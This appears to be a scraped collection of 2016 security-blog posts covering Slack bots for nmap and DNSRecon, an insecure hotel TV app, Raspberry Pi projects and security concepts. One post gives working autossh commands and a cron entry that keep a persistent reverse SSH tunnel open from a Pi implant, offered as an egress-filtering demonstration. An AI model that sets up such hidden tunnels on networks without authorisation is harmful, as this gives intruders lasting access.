Hacking, Security

At work we  are moving to slack as a communication method and since I am spending so much time in the tool I decided it was time to start building in some of the tools I use on a regular basis.  So far I have put together the following tools:


Nmap-For-Slack runs a basic scan (nmap –top-ports 50 –open) against a host and returns the results.  I have to do such a basic scan because the timeout is 3000ms so it limits what I can do.

Screen Shot 2016-05-15 at 3.31.44 PM


DNSRecon-for-slack allows your to run a basic DNSRecon scan from inside of  Slack.

Screen Shot 2016-05-15 at 3.43.28 PM


ipinfo-for-slack looks up and displays information from ipinfo.io.

Screen Shot 2016-05-15 at 3.36.01 PM


Hostlookup-for-slack grabs all the A records for a domain and displays them.

Screen Shot 2016-05-15 at 3.42.15 PM

Technical Configuration:




This configuration needs the following: 
Slack team.
Publically Accessible Web Server Running:
Valid DNS Record and TLS Cert
I really like a $5 DigitalOcean droplet for this.
A list of APIs you want to query or installed local security tools (nmap, dnsrecon) you want to run. 

To Do List:

Figure out how to display json blobs as flat text in html.
Figure out how to bypass 3000 ms timeout to run more complex commands.
Build a bunch more of these tools (nessus, shodan, censys.io are on the list).
If you want to help me on any of these please reach out to me on twitter at @jgamblin or via email.


The TV in my hotel room this week advertised how easy it is to control it with the stayconnect app.  So I downloaded it and was pretty impressed by how well it worked…. until I remembered my phone was still on 4G and VPNed through a server in Europe.

2016-05-08 16.35.47

So I fired up Burp Suite to see exactly what was going on.  To my surprise the app wasn’t posting the data like it should it was passing it as part of the URL string:


Here is a terrible proof of concept video I shot in my room:

Here are some of the commands I found to control the tv:

TV Power Off: 

TV Power On: 

Mute Sound:

Max Sound:

Change Channel:


While not a major vulnerability and to exploit it you would have to capture traffic from your victim’s phone it does show really poor programming practices.


Last week I saw this 3.5″ Touchscreen LCD and case on Amazon for $20 so I ordered it thinking it would be fairly easy to install and get to work.  I was wrong and spent the better part of a Saturday looking at this:

2016-04-30 18.49.13

After spending 5 or 6 hours digging through forums, reddit posts and reinstalling my Raspberry Pi 3 times I finally got it to work:

2016-05-01 15.04.47

Hoping that no one else has to go through this I put together instructions and posted them on GitHub.

Now I have a cool desk clock (sudo apt-get install tty-clock) that on the backend can be doing all kinds of amazing stuff (like being a persistent reverse SSH tunnel):

2016-05-01 16.22.05


Career, Hacking, Security

This morning I needed someone who I was helping to provide me some basic information about their Macbook and realized while I knew how to get that information it wasnt all in one easy to digest place so I wrote sysinfo.sh to quickly gather that information:

Screen Shot 2016-04-29 at 9.29.52 AM

Here is the code:

You will need to install iStats (gem install iStats) or comment out the lines 9, 10, 12 and 13 to get the script to run properly.

Career, Security

During a recent round of phone interviews while expanding my team at work I was amazed at how many security professionals have a hard time clearly answering the following question:

 “What’s the difference between a threat, a vulnerability and a risk?” 

I think being able to do so is a key to being a good security professional.   I really like to use this analogy to try to help explain these three concepts clearly:

25D3A47F00000578-0-image-a-72_1424353548514“Close the open door (vulnerability) to stop the bear (threat). If it got in we could get mauled (risk).”

Understanding and applying these three terms is the first step to being able to do great risk analysis and is the only way to effect change in most organizations.  The next step is writing risk statements.

But remember doing this exercise is as much for you as it is for who you are trying to secure.  It wouldn’t make much sense to use your limited cycles to protect yourself against bears in Dallas, Texas would it?



Hacking, Security

I have a couple of old Raspberry Pi’s 2 laying around and have been meaning to turn them into “Remote Access Terminals” to demonstrate what happens if you do not do effective egress filtering on your network. At a high level if an attacker can plug in one of these on your network and get internet access they own your network.

Here is a terrible diagram I put together using draw.io to explain:

Untitled Diagram

To set this up you will need the following:

There are plenty of guides on setting this up so I won’t spend time doing that here. Once you have that complete and are on the pi you can run the the following command:
autossh -M 65500 -o ServerAliveInterval=20 -R 2222:localhost:22 root@digitalocean

Autossh will use ports 65500 and 65501 to send echo data over and back between server and host and open an ssh session on the public server to local port 2222 that will tunnel back to the SSH port on the Pi.

Once that is done you can ssh into your public ssh server and run the following command:
ssh -p 2222 pi@

Congratulations you now have a host you can control from the internet on a private network (That you totally have permission to be plugged into, right?).


While this works if the pi is has any problems the tunnel will be gone so we will use a cron job to make sure that it is always up.  You can use the following crontab entry that checks if the tunnel is up every minute:

* * * * * pi /usr/bin/screen -S reverse-ssh-tunnel -d -m autossh -M 65500 -i /home/pi/.ssh/id_rsa -o "ServerAliveInterval 20" -o "ServerAliveCountMax 3" -R 2222:localhost:22 root@digitalocean

Reboot the Pi to test and you should be good to go.

Hacking, Security

I have been playing with the GL.inet hardware lately and stumbled upon this project called NetAidKit that is built on the $25 6416 platform that offers a purpose built TOR and VPN router.

After building the images using the instructions on their github page (here is the one I built if you trust me) all you have to do is upload it and reboot and you are in business:

Screen Shot 2016-04-19 at 6.15.51 PM

The TOR feature worked flawlessly:

Screen Shot 2016-04-19 at 7.09.00 PMScreen Shot 2016-04-19 at 7.09.47 PM

The VPN still needs a lot of work as it expects certificate based authentication and every VPN I use still uses username and password authentication so I was disappointed I didn’t get to try it out.

Screen Shot 2016-04-19 at 7.03.31 PM

Over all this is an amazing project with a great idea and lots of potential.  I will be carrying a netaidkit with me from now on even if it just to use with TOR.